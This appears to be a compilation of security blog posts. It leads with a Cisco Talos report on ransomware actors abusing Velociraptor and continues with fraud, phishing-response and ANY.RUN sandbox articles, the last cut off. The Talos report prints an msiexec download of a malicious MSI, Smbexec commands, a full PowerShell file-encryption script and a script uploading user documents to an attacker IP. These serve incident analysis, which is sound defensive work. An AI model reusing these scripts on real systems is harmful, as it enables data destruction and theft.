Velociraptor leveraged in ransomware attacks

  • Cisco Talos has confirmed that ransomware operators are leveraging Velociraptor, an open-source digital forensics and incident response (DFIR) tool that had not previously been definitively tied to ransomware incidents.  
  • We assess with moderate confidence that this activity can be attributed to threat actor Storm-2603, based on overlapping tools and tactics, techniques, and procedures (TTPs)  
  • Talos also observed evidence of Babuk ransomware files on the victim’s network, which has not been previously deployed by Storm-2603. 

Velociraptor leveraged in ransomware attacks

In August 2025, Talos responded to a ransomware attack by actors who appeared to be affiliated with Warlock ransomware, based on their ransom note and use of Warlock’s data leak site (DLS). They deployed Warlock, LockBit, and Babuk ransomware to encrypt VMware ESXi virtual machines (VMs) and Windows servers. This severely impacted the customer’s IT environment. 

Velociraptor leveraged in ransomware attacks
 Figure 1. Ransomware note. 

Velociraptor 

Velociraptor is designed for security teams to use for endpoint monitoring by deploying client agents across Windows, Linux and Mac systems to continuously collect data and respond to security events. 

Velociraptor played a significant role in this campaign, ensuring the actors maintained stealthy persistent access while deploying LockBit and Babuk ransomware. After gaining initial access the actors installed an outdated version of Velociraptor (version 0.73.4.0) that was exposed to a privilege escalation vulnerability (CVE-2025-6264) that could lead to arbitrary command execution and endpoint takeover. 

Threat actors have also reportedly leveraged Velociraptor to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command-and-control (C2) server.  

The addition of this tool in the ransomware playbook is in line with findings from Talos’ 2024 Year in Review, which highlights that threat actors are utilizing an increasing variety of commercial and open-source products. 

Attribution to Storm-2603 and ToolShell nexus 

Talos assesses with moderate confidence that this activity can be attributed to the group Storm-2603, based on overlapping tools and TTPs. Storm-2603 is a suspected China-based threat actor first identified in July 2025, when they began exploiting the on-premises SharePoint vulnerabilities known as ToolShell. 

Similar to the activity Talos observed in this engagement, Storm-2603 is known for deploying Warlock ransomware and Lockbit ransomware in the same engagement. While LockBit is widely deployed by a variety ransomware actors, Warlock was first advertised in June 2025 and has since been heavily used by Storm-2603. Additionally, it is highly unusual for actors to use two different ransomware variants in the same attack, increasing our confidence that this activity could be related to Storm-2603. 

The threat actor in this engagement also mirrored several Storm-2603 TTPs, based on reporting by Microsoft

  • Use of cmd.exe and batch scripts 
  • Disabling Microsoft Defender protections 
  • Creating scheduled tasks 
  • Manipulating Internet Information Services (IIS) components to load suspicious .NET assemblies 
  • Modifying Group Policy Objects (GPOs) 

While Talos was unable to observe how the actor obtained initial access due to limited access to the victim organization’s data, both their exposure to the ToolShell vulnerabilities and our attribution to Storm-2603 increase the likelihood that initial access was gained through ToolShell exploitation.  

Campaign overview 

The first high-confidence indications of suspicious activity associated with this campaign occurred in mid-August 2025, with attempts to escalate privileges and move laterally within the compromised environment. We observed the threat actor creating admin accounts that synced to Entra ID (formerly Azure Active Directory) via the domain controller. The same actor-controlled admin account also accessed the VMware vSphere console, an interface used to manage and interact with virtual machines (VMs), which could allow for persistent access to the virtual environment. 

Notably, the threat actor installed an older version of Velociraptor on multiple servers to maintain persistence using the following command. We observed Velociraptor launching several times even after the host was isolated. 

msiexec  /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi 

The actors also executed the following command to run Smbexec, a Python script that comes with Impacket and allows an attacker to launch programs remotely using the SMB protocol: 

%COMSPEC% /Q /c echo cd ^> \%COMPUTERNAME%C$__output 2^>^&1 > %SYSTEMROOT%TkTvjYUp.bat & %COMSPEC% /Q /c %SYSTEMROOT%TkTvjYUp.bat & del %SYSTEMROOT%TkTvjYUp.bat  
C:WindowsSystem32cmd.exe cmd.exe /Q /c cmd /c c:windowstemp1.bat /y 1> WindowsTempsuLGnR 2>&1 

To impair defenses and evade detection, the actors modified Active Directory (AD) GPOs and: 

  • Enabled “turn off real-time protection,” which continuously monitors for potential threats such as viruses, malware and spyware 
  • Disabled “behavior monitoring,” which blocks suspicious activities by observing deviations from established patterns of normal behavior 
  • Disabled “monitor file and program activity on your computer,” which observes how software behaves to identify patterns associated with malicious activity 

The actors deployed a fileless Powershell script that had an encryption functionality, which we believe was the primary encryptor that deployed mass encryption on the Windows machines:  

function GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-=+[]{}|;:',.<>?`~"[(Get-Random -Maximum 74)]})}function err($pl,$sf){$rsa=New-Object System.Security.Cryptography.RSACryptoServiceProvider;$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);$rsa.Encrypt($PB,$false)} function gg($path) {$ke = GER(32);$ig =GER(16);$sf = 'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS6Oev5RVAaQqc6m2pEKN7AYARcpz9iNy5JOB/T+OtWmqxd42bLH+iAUjc1kc1qk1Cg38t7obrGja8L7UMoJkb97ry0ngak9BlqaS7P+wzApOLVJoBNxaJ2rCoj7+Crh3p3Vm2/7/o4pMjgg4S838jw6aiRbag/v4SR86oupqjBvKxsAcZo5A4NDFoZ29j/IMa6GNpMkVjsNPjvB/GIqGcbTqJkb8HGSXw3KvHqwqfsB+01VTsbO7B8kIkOr4jB/M+bHFwgYkUG4rS2s/yJcOOkzH0tJwEj11tLv2bHSzoQQ==AQAB'; $eec=err -pl $ke+$ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);$key=[System.Text.Encoding]::UTF8.GetBytes($ke);$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);try{$files=gci $path -Recurse -Include .pdf,.txt, *.doc, *.docx, *.odt, *.rtf, *.md, *.csv, *.tsv, *.jpg, *.jpeg, *.tiff, *.mp3, *.xls, *.xlsx, *.ods, *.ppt, *.pptx, *.odp, *.py, *.java, *.cpp, *.c, *.html, *.css, *.js, *.php, *.swift, *.kotlin, *.go, *.rb, *.sh, *.sql, *.db, *.sqlite, *.sqlite3, *.mdb, *.sql, *.zip, *.rar, *.7z, *.tar, *.gz, *.bz2, *.iso, *.torrent, *.ini, *.json, *.xml, *.log, *.bak, *.cfg, *.psd, *.vmdk | select -Expand FullName; foreach ($file in $files) { try {EFI $file $key $iv $eee} catch{}}} catch {Write-Host $ }} function EFI($ifi,$key,$iv,$aT) {if($ifi.EndsWith(".xlockxlock", [System.StringComparison]::OrdinalIgnoreCase)) {return};$aes = [System.Security.Cryptography.Aes]::Create();$aes.KeySize = 256;$aes.Key=$key;$aes.IV=$iv;try{$yy=New-Object System.IO.FileStream($ifi, [System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None); $xx=$aes.CreateEncryptor($aes.Key, $aes.IV); $mm = New-Object System.Security.Cryptography.CryptoStream($yy, $xx, [System.Security.Cryptography.CryptoStreamMode]::Write); $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $jj = New-Object byte[] ($yy.Length); $yy.Read($jj, 0, $jj.Length) | Out-Null; $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $mm.Write($jj, 0, $jj.Length); $mm.FlushFinalBlock(); $se = 1 } catch { Write-Error $_ } finally {if ($mm) { $mm.Dispose() } if ($yy) { $yy.Dispose() } }try {$kk = [System.Text.Encoding]::UTF8.GetBytes($aT);$bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);if ($se){$bb.Write($kk, 0, $kk.Length)}} catch {Write-Error $_} finally {if ($bb) { $bb.Dispose();if ($se){ren $ifi -NewName $ifi".xlockxlock";}}}};$vg =gdr -PS FileSystem | select -Expand Root;foreach ($II in $vg) {gg -path "$II"} 

After the script was deployed, Talos observed ransomware executables on Windows machines that were identified by EDR solutions as LockBit, and encrypted files with the Warlock extension “xlockxlock”. There was also a Linux binary on ESXi servers flagged as the Babuk encryptor, which achieved only partial encryption and appended files with “.babyk”. Storm-2603 has not previously leveraged Babuk ransomware, based on public reporting. 

The actors also conducted double extortion, exfiltrating data using the below PowerShell script. To evade detection, the exfiltration script shows that “$ProgressPreference” is set to “SilentlyContinue”, which suppresses any visual indication of the command’s progress. It also includes the “start-sleep” cmdlet, which suspends the script for a specified period of time. This cmdlet can be used to inhibit analysis, as many malware analysis tools, such as sandboxes, have a limited time window, and used to avoid triggering security alerts that might identify rapid, continuous script activity. 

function GR {$numbers = 1..20;$numbers | Get-Random }  
function Upfile { 
    param ( 
        [string]$path = "C:Users", 
        [int]$maxConcurrentJobs = 40  # 
    ) 
    Add-Type -AssemblyName System.Web 
    try { 
        $files = Get-ChildItem -Path $path -Recurse -Include *.doc,*.docx,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue |  
                Where-Object { $_.Length -lt 50MB } |  
                Select-Object -ExpandProperty FullName 
        $uploadScriptBlock = { 
            param ($file, $grValue) 
            try { 
                Add-Type -AssemblyName System.Web 
                $fileName = Split-Path -Path $file -Leaf 
                $encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName) 
                $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName" 
                Write-Host "upload $file to $uploadUrl" 
                $ProgressPreference = 'SilentlyContinue' 
                $maxRetries = 3;$retryCount = 0 
while ($retryCount -lt $maxRetries) { 
            try { 
$wc = New-Object System.Net.WebClient;$wc.UploadFile($uploadUrl, "PUT", $file) | Out-Null 
                Write-Host "upload Sucess $fileName" 
                break 
}  
catch { 
                $retryCount++ 
                Write-Host "upload $fileName retry $retryCount error: $_" 
                Start-Sleep -Seconds 2 
                }  
                finally {$wc.Dispose()}}}  
       catch  
            { 
                Write-Host "upload $fileName error: $_" 
            } 
            finally {$wc.Dispose()} 
        
        } 
        $grValue = GR 
        $jobs = @() 
        foreach ($file in $files) { 
            while ((Get-Job -State Running).Count -ge $maxConcurrentJobs) {Start-Sleep -Milliseconds 100} 
            $jobs += Start-Job -ScriptBlock $uploadScriptBlock -ArgumentList $file, $grValue 
        } 
        $jobs | Wait-Job | ForEach-Object { 
            Receive-Job -Job $_ -Keep 
            Remove-Job -Job $_ 
        } 
    } catch { 
        Write-Host "getfile error: $_" 
    } 
} 
$drives = @("C:Users", "D:", "E:", "F:", "K:") 
foreach ($drive in $drives) { 
    if (Test-Path $drive) {Upfile -Path $drive   } 
    else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow} 
} 

Mitigation recommendations 

Please see Talos’ Ransomware Primer for detailed recommendations on how to safeguard against ransomware threats. We also recommend referring to Talos’ blog on ToolShell for information on these vulnerabilities and how to patch them. Additionally, Rapid7 has published some recommendations on detecting velociraptor misuse.

MITRE ATT&CK techniques 

Resource Development  

  • T1584.003 Compromise Infrastructure: Virtual Private Server 

Execution 

  • T1059.001 PowerShell 

Persistence  

  • T1136 Create Account 
  • T1505.006 Server Software Component: vSphere Installation Bundles 

Privilege Escalation  

  • T1098.007 Account Manipulation: Additional Local or Domain Groups 
  • T1098 Account Manipulation 

Defense Evasion  

  • T1556 Modify Authentication Process 
  • T1484.001 Domain or Tenant Policy Modification: Group Policy Modification 

Lateral Movement  

  • T1021.001 Remote Services: Remote Desktop Protocol 

Collection  

  • T1213 Data from Information Repositories 

Exfiltration 

  • T1041 Exfiltration Over C2 Channel 

Impact 

  • T1486 Data Encrypted for Impact 
  • T1657 Financial Theft 

Coverage

Velociraptor leveraged in ransomware attacks

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org

The following ClamAV cover this threat:  
Win.Ransomware.Warlock-10057029-0  

IOCs 

IOCs for this research can also be found at our GitHub repository here.

C2/exfiltration IP address: 
65.38.[121][.]226 

Domain hosting malicious MSI: 
stoaccinfoniqaveeambkp.blob.core.windows[.]net 

Velociraptor C2 server
velo.qaubctgg.workers[.]dev 

Velociraptor:Legitimate tool used by the adversary for persistence 
Velociraptor installer – 649BDAA38E60EDE6D140BD54CA5412F1091186A803D3905465219053393F6421 
Velociraptor.exe – 12F177290A299BAE8A363F47775FB99F305BBDD56BBDFDDB39595B43112F9FB7 
Malicious Velociraptor config.yaml – A29125333AD72138D299CC9EF09718DDB417C3485F6B8FE05BA88A08BB0E5023  

Internal Monologue NTLM downgrade malware: 
In.exe- C74897B1E986E2876873ABB3B5069BF1B103667F7F0E6B4581FBDA3FD647A74A  

Cisco Talos Blog – ​Read More

Airline-mimicking fraud | Kaspersky official blog

Our experts have detected a fraudulent email campaign on behalf of well-known airlines and airports. Since the beginning of September, our solutions have detected and blocked thousands of similar emails in which scammers posed as employees of Amsterdam Schiphol, Emirates Airlines, Etihad Airways, Lufthansa, Qatar Airways, and other well-known large aviation-related companies. Our experts then started discovering similar mailings exploiting the names of companies in the oil and gas sector. The attackers are imitating normal business correspondence, pretending to be looking for new partners and targeting companies of various sizes and from various industries. The essence of the scheme boils down to convincing the recipients of emails to transfer money to the fraudsters’ accounts.

How the fraudulent scheme works

Attackers try to draw the victim into a correspondence exchange. At the first stage, they send the victim a rather innocuous email on behalf of the procurement department of a major airline or airport, in which they announce the start of a partnership program for 2025/2026, and offer them mutually beneficial cooperation. If the recipient responds, the second stage begins: they send several documents to divert attention — registration forms for a new partner, non-disclosure agreements, and so on.

These emails don’t contain malicious attachments or links, and there are no hidden scripts in the documents, so basic defense mechanisms don’t always block such correspondence. Attackers use only social engineering techniques. In the next letter they ask to pay a certain “mandatory refundable deposit as an expression of interest” of around several thousand dollars. The purpose of this payment is supposedly to secure a priority place on the schedule for consideration of partnership proposals. And the authors of the email give assurances that once the partnership agreement is finalized the money will be returned.

How to realize there’s something wrong with the email

The letters used in this campaign look very plausible, but some inconsistencies can still be detected with the naked eye. The first thing to look closely at is the sender’s e-mail address. It often contains the name of the organization whose employees the scammers are imitating. But if you search for the company’s real website and examine addresses listed at the contact section, you’ll see that the legitimate address of the airport or airline employees have a different domain name. Sometimes attackers don’t bother to keep the From field plausible at all, and simply write the name of the imitated organization in the displayed name field, so you can see a completely unrelated domain in the email address field.

The general rule for business correspondence that for some reason raises suspicion: if there are any doubts, you can write a letter to the address specified on the official website of the company and clarify whether an affiliate program mentioned in the emails really exists, whether the sender works for this company, and whether the address used in a suspicious email is their real email.

But the main red flag is the offer to make a deposit to “express interest”. Respectable companies don’t work that way. They choose partners, suppliers, and contractors after a serious and comprehensive business reputation check — not based on the ability to transfer a small (by their standards) amount of money.

How to protect your company from fraudsters

Ideally, you should implement solutions that prevent fraudulent, phishing and malicious emails from reaching employee inboxes in the first place. We recommend installing strong protection at the corporate email gateway level.

Another important aspect of protecting your company from cyberthreats is to increase employee awareness of scammers’ tricks and other cyberthreats. Particular attention should be paid to training for finance, sales and procurement staff. Comprehensive training sessions can be conducted, for example, via our online Kaspersky Automated Security Awareness Platform.

Kaspersky official blog – ​Read More

What to do when you click on a suspicious link

What to do when you click on a suspicious link

October is Cybersecurity Awareness Month, and as the tech-savvy friend or family member, people probably come to you for advice. One of the most common questions is: “I clicked a suspicious link. What do I do now?” 

Don’t worry — panic won’t help, but a calm, step-by-step response will. Share this guide with your loved ones so everyone knows exactly how to respond and stay safe. 

If you clicked the link on a work device, immediately contact IT support and follow their instructions. Companies often have specific policies and tools to investigate and remediate security incidents. Quick reporting helps protect both you and your organization. 

If it’s a personal device, here’s what to do next.

Scenario 1: You only clicked the link, and did not enter any information 

Clicking a malicious link can trigger automatic downloads, attempt to exploit browser vulnerabilities, or install malware without your knowledge. 

  • Exit the browser immediately. 
  • Make sure no files downloaded to your device; if so, delete them without opening. 
  • Monitor your device for unusual behavior, which can be a sign of malware. 
    • Examples: Higher-than normal battery drainage, apps crashing, unknown apps/profiles, and persistent pop-ups 
  • Stay alert for suspicious emails, texts, or calls.

Together, these steps help you catch and remove any threats before they cause harm, and keep you aware of follow-up attacks.

Scenario 2: You entered your username and password 

Entering credentials on a phishing site can give attackers access to your account, leading to unauthorized activity, identity theft or further phishing. 

  • Change your password immediately for that account, and force a logout of all devices logged in. This locks out any unauthorized users who may have gained access. 
  • If you have multifactor authentication (MFA) enabled, watch for any push notifications that you did not initiate. Do not approve them. This could mean someone is actively trying to log in with your stolen credentials. 
  • Enable two-factor authentication (2FA) if available. 
  • Create new, unique passwords for any other accounts that used the same credentials. Attackers often try your compromised password on multiple sites (aka called credential stuffing). 
    • Tip: Instead of storing your credentials in your browser, use a password manager such as 1Password. 
  • Watch for suspicious account activity.

By following these steps, you limit the attacker’s access and protect your other accounts from being compromised. 

Scenario 3: You entered credit card or banking information 

Financial data can be quickly exploited for fraudulent transactions, identity theft, or even sold on the dark web. 

  • Contact your bank or card issuer right away. 
  • If possible, freeze your card and get a replacement. 
  • Monitor your statements and report any unauthorized charges. 
  • Enable fraud alerts if your bank offers them.

These actions help you contain the risk, minimize financial losses, and alert your bank to potential fraud on your account.

Scenario 4: You downloaded or opened a file 

Downloaded files from suspicious links can contain malware, ransomware, spyware or other harmful software that may steal your data or harm your device. 

  • Disconnect your device from the internet until you have completed all of these steps. Isolating your device can prevent malware from communicating with attackers or spreading to other devices. 
  • Run a full antivirus and malware scan if on a desktop or laptop. 
  • Check to ensure no new apps were installed if on a phone. 
  • Delete any suspicious files. 
  • In a worst-case scenario, if you have conducted periodic backups it might be best to restore your device to a clean version, from before the file was downloaded.

Remember to: 

  • Always verify links before you click on them.  
    • Tip: Hover over the link to make sure it leads to an official website. If you’re not sure, it’s safer to type in the URL manually. 
  • Enable multifactor authentication for your accounts whenever it’s available. 
  • Keep your software and antivirus updated. 
  • Report all phishing attempts to your email provider and IT/security team. 

Phishing attacks are getting more sophisticated, but a little knowledge goes a long way. Share this guide with your friends and family so they’ll know what to do if they ever click a suspicious link.

Happy Cybersecurity Awareness Month from Cisco Talos!

Cisco Talos Blog – ​Read More

How to Grow SOC Team Expertise for Ultimate Triage & Response Speed 

Building analyst expertise takes time, often too much… 
Most new hires need over six months before they can handle complex incidents with confidence, leaving senior analysts to pick up the slack and slowing the entire SOC down. 

Traditional training programs can’t keep pace with real attacks. Theories and simulations don’t prepare teams for fast, messy, real-world threats. To grow expertise faster, learning needs to happen in daily investigations, not in classrooms. 

Let’s see how today’s top SOCs are building expertise faster and running 3x more efficiently

Turning Operations into a Continuous Learning Environment 

To build lasting expertise, SOC leaders need to design workflows that teach as they protect. This means giving analysts room to explore, experiment, and learn from real data, without slowing operations or risking security. 

A few principles make it work: 

  • Expose analysts to diverse cases: Rotating tasks between triage, malware analysis, and threat hunting helps them understand the full incident lifecycle. 
  • Encourage safe experimentation: Allowing analysts to test hypotheses and trace attacker behavior builds critical thinking, not just reaction skills. 
  • Share knowledge across levels: Post-incident reviews, shared notes, and team retros create a culture where insights circulate freely, not just among seniors. 
  • Integrate learning metrics: Tracking how fast analysts identify patterns or make confident decisions is just as valuable as measuring mean time to detect. 

When continuous safe learning becomes part of SOC design, expertise doesn’t depend on a few individuals, it scales across the entire team. 

That’s where ANY.RUN’s Interactive Sandbox brings these principles to life. It provides a safe, collaborative space where analysts, regardless of experience level, can analyze real threats, test detection ideas, and learn directly from live behavior. 

Explore phishing analysis example 

Analyzing a real threat inside ANY.RUN’s safe interactive sandbox 

Instead of separating learning from daily operations, teams strengthen their skills through real investigations, turning each analysis into both a defensive action and a learning opportunity. 

1. Fast Onboarding for Seamless Adoption 

Getting new analysts up to speed is often one of the most time-consuming parts of SOC management. You can make it faster with the help of an intuitive, user-friendly interface that even junior specialists can start using right away. 

ANY.RUN sandbox tutorial for quick start 

Besides, the built-in guides and quick tutorials available help new team members understand how to navigate the sandbox, launch analyses, and interpret results in just a few steps. Try it yourself by navigating to the Tutorials tab on the FAQ page

After completing the short onboarding flow, analysts can begin investigating real samples safely, without the risk of compromising systems or making critical mistakes. 

This hands-on, accessible approach saves weeks of training time and allows teams to start real analysis work much sooner. 

2. Real-World Skill Development on the Job 

Analysts learn best when they can interact with live attacks instead of static examples. With ANY.RUN, they can launch, observe, and engage with threats safely and without complex setup. This helps them not only perform their job tasks but also grow skills with every new analysis. 

The sandbox lets analysts manually explore phishing attacks  

The solution’s interactivity helps analysts perform steps like solving CAPTCHAs or launching payloads from email attachments to better understand multi-stage attacks, trace malware’s activities, and uncover hidden techniques such as malicious links behind QR codes

This direct, hands-on experience helps them recognize attack patterns faster, make confident decisions, and strengthen their investigative instincts, turning everyday analysis into a learning opportunity. 

To simplify analysis, the sandbox also shows all the malicious activities in real time, which can help junior staff understand better how different attacks are carried out.  

The sandbox lists all the malicious activities to help analysts see the threat in seconds 

ANY.RUN flags all the important events like data exfiltration and command and control connections as they happen. It also maps these activities to the MITRE ATT&CK matrix, giving you the actionable insights you need to contain the threat. 

As a result, analysts can observe the full scope of the attack and its impact in seconds. 

3. AI-powered Insights for Faster, Easier Understanding of Threats 

ANY.RUN’s sandbox also provides AI summaries to help analysts better understand malicious processes and improve decision-making under pressure. 

AI reviews inside ANY.RUN’s sandbox analysis session

Real-time explanations of malware’s behavior enhance threat analysis skills and turns investigations into opportunities for professional growth. By embedding insights into routine analysis, the AI creates a dynamic learning environment. It bridges theory and practice and reduces the learning curve for complex concepts.  

4. Community Knowledge Base of Current Threats 

Important insights often stay locked in personal notes or isolated investigations. ANY.RUN helps turn that scattered knowledge into a structured, shareable resource. 

ANY.RUN’s public submissions feature fresh sandbox analyses of malware and phishing threats 

Analysts can access thousands of public analysis sessions performed daily by professionals worldwide, learn from real cases, and apply those insights to their own work.  

Each public session is saved and can be studied to observe IOCs, behaviors, and MITRE ATT&CK mappings for the latest threats around the world, creating ready-to-use references for future investigations and onboarding. 

Easily shareable report generated from real-world analysis by ANY.RUN sandbox 

Analysts can dive into this live library of real-world attacks to further their expertise. What one analyst discovers today becomes a learning resource for many others tomorrow. 

5. Collaborative Growth 

This image has an empty alt attribute; its file name is 6-2-1024x596.png
Track team members’ productivity

Expertise grows faster when analysts learn together. ANY.RUN’s teamwork features allow analysts to share sessions, add comments, and review investigations side by side. Junior specialists learn directly from senior peers in real cases, while leaders can track progress and assign tasks that match each analyst’s skill level. 

How Practical, Hands-On Learning Transforms SOC Performance 

When analysts learn through real investigations, observing, testing, and reacting to live threats, the results reach far beyond individual growth. SOCs that apply this approach with ANY.RUN’s Interactive Sandbox build stronger teams, faster workflows, and measurable returns on every training hour. 

Here’s what organizations are achieving in practice: 

  • Faster onboarding: New analysts reach operational readiness in weeks, not months, easing pressure on senior staff. 
  • Up to 94% faster investigations: Real-time interaction and automation reveal malicious activity almost instantly. 
  • 3× higher SOC efficiency: Less manual work, more focus on validation, correlation, and proactive defense. 
  • Up to 20% lower Tier 1 workload: Streamlined processes reduce alert volume and repetitive tasks, freeing junior analysts for higher-value work. 
  • 30% fewer Tier 1 → Tier 2 escalations: Intuitive tools and better visibility empower Tier 1 analysts to resolve more incidents independently. 
  • Eliminated hardware setup costs: Cloud-based infrastructure removes the need for local environments and maintenance expenses. 
  • Lower training costs: On-the-job learning replaces expensive external programs and downtime. 
  • Higher engagement and retention: Analysts grow through real challenges, stay motivated, and continuously refine their skills. 

This hands-on approach turns each analysis into both a defense and a growth opportunity. With ANY.RUN, organizations develop in-house expertise that compounds over time, creating SOCs that not only respond faster but continuously get better with every threat they face. 

Start building a high-performing SOC with ANY.RUN Enterprise Security Solutions today! 

About ANY.RUN  

ANY.RUN is built to help security teams detect threats faster and respond with greater confidence. Our Interactive Sandbox delivers real-time malware analysis and threat intelligence, giving analysts the clarity they need when it matters most.   

With support for Windows, Linux, and Android environments, our cloud-based sandbox enables deep behavioral analysis without the need for complex setup. Paired with Threat Intelligence Lookup and TI Feeds, ANY.RUN provides rich context, actionable IOCs, and automation-ready outputs, all with zero infrastructure burden.  

Start your 14-day trial now →  

The post How to Grow SOC Team Expertise for Ultimate Triage & Response Speed  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Phishing, Cloud Abuse, and Evasion: Advanced OSINT Investigation with ANY.RUN Threat Intelligence 

Editor’s note: The current article is authored by Clandestine, threat researcher and threat hunter. You can find Clandestine on X. 

ANY.RUN’s Threat Intelligence (TI) Lookup is a powerful service for Open Source Intelligence (OSINT) and Threat Intelligence investigations. In this research, we shall analyze 5 specific queries, each targeting different aspects of the threat landscape, to better understand the nature of modern threats as well as defense and response strategies.  

Key Findings 

  1. JA3S Fingerprinting underscores the value of behavioral indicators in hunting advanced threats allowing analysts to track Command and Control infrastructure even when attackers rotate IP addresses and domains 
  1. Massive abuse of legitimate infrastructure (AWS, Google Cloud, Cloudflare, Microsoft services) complicates detection, as malicious traffic blends with legitimate services. 
  1. Locally targeted phishing operations demonstrate that attackers tailor their strategies by geography. This highlights the importance of localized cyber threat intelligence. 
  1. By combining sandbox detonation with TI Lookup queries, analysts uncover trojan traffic disguised within HTTPS (port 443). This methodology proves the benefit of correlating behavioral analysis with IOC-based searches. 
  1. The .top domain extension serves as a thriving ecosystem for cybercrime, with randomly-generated DGA domains used for malware delivery, often leveraging WinRAR for payload extraction. 

Exploring Beyond IOCs: Malicious Pattern Case Studies  

ANY.RUN’s Threat Intelligence (TI) Lookup is a dynamic, searchable database that equips security analysts with immediate access to over 50 million Indicators of Compromise (IOCs), Behavior (IOBs), and Attack (IOAs) and threat events extracted from real-time malware sandbox analyses conducted by a global community of over 500,000 analysts and 15,000 companies.  

Tailored for threat hunting, alert triage, and incident response, it allows analysts to query the database using more than 40 parameters – including hashes, IPs, registry keys, processes, and TTPs. It supports search operators, wildcards, YARA and Suricata rules, and notifies on updates on saved searches.  

Let’s see how analysts can use it as part of their OSINT investigation. 

Case 1: Investigating Regionalized Phishing Campaigns 

Query: threatName:”Phishing” AND submissionCountry:”br” and domainName:”” 

Examples of phishing encountered by Brazilian users 

We can start by checking for active phishing campaigns targeting organizations in our region. Even with a free plan, TI Lookup provides us with lots of sandbox analyses of the latest malicious domains and emails sent to companies in Brazil.  

Enrich alerts and detection rules with actionable threat intel
Triage threats faster, respond to incidents with confidence  



Try TI Lookup


Network infrastructure related to phishing attacks on Brazilian users 

We can also observe legitimate infrastructure abuse as a number of known service subdomains are linked to the campaigns along with malicious domains. Globally hosted infrastructure is leveraged to hinder takedown.  

Actionable Intelligence: Organizations in Brazil should be especially alert to emails containing links to subdomains of popular services. Security teams can use the identified domains and IPs to create proactive defense using detection and blocking rules. 

Case 2: Tracking C2 Infrastructure with JA3S 

Query: ja3s:”1af33e1657631357c73119488045302c” 

Search by a single connection parameter reveals a malicious pattern 

The JA3S hash is a fingerprint of how a TLS client communicates. Different malware or attack tools may have unique JA3S signatures, allowing analysts to track their Command and Control (C2) infrastructure even when IP addresses and domains change. Hash “1af33e1657631357c73119488045302c” is commonly associated with Cobalt Strike.  

What do we capture from the search results?  

  • 1,000+ system events mostly involving slui.exe (System License User Interface), svchost.exe, and PowerShell.   
  • Predominant communication on port 443 (HTTPS) exposes evasion techniques exploiting LOLBins. 
  • Abuse of major cloud providers to host C2 infrastructure (Microsoft, GitHub, Google, Amazon, CloudFlare). 
  • Techniques: Use of legitimate system tools for malicious execution. 

Actionable Intelligence: Detection of this JA3S hash on the network is a strong indicator of Cobalt Strike infection or an abuse of a similar tool. Security teams should correlate these alerts with other endpoint and network events to identify compromised systems and initiate incident response. 

TI Lookup’s “Analyses” tab contains links to sandbox analyses of malware samples featuring the hash in question. We can sort out samples tagged as “malicious” and study various attack scenarios leveraging similar TTPs:  

Sort out malware samples to observe the same pattern in different attacks 

For example, one can view a Cerber ransomware attack and see how it abuses system tools and cloud services.  

A Sandbox analysis session of a ransomware sample 

Case 3: Hunting Trojan Traffic Camouflaged in HTTPS 

Query: destinationIPgeo:”ru” AND suricataClass:”trojan” AND destinationPort:”443″ 

This query is a classic example of threat hunting. It doesn’t look up a specific IOC but rather searches for a suspicious behavior pattern: traffic classified as trojan by the Suricata engine, destined for IPs in Russia and using port 443 (HTTPS). 

Gather IOCs and observe 443 port exploited in a single lookup 

Russia is generally a suspicious communication destination, and port 443 is used to camouflage malicious traffic. The attack strategy includes threat diversity: multiple services and legitimate domains are abused; various ports are employed for communication and fallback.

Cut MTTR, beat alert fatigue, and boost performance  Using actionable threat intelligence from 15K SOCs  



Request trial 


 
Actionable Intelligence: This query provides a list of high-risk IPs and domains for enriching perimeter defenses. The combination of destination geolocation, threat classification, and communication port is a powerful hunting methodology. 

TI Lookup has found a number of analysis sessions demonstrating this behavior pattern.  

View an example in the Sandbox 

Remote Access Trojan’s attack chain and TTPs mapped in a Sandbox analysis 

Case 4: Unmasking BEC Campaigns Focused on Invoices 

Query: filePath:”invoice.pdf” OR filePath:”pagamento.pdf” 

Files spotted in phishing campaigns with fake financial documents 

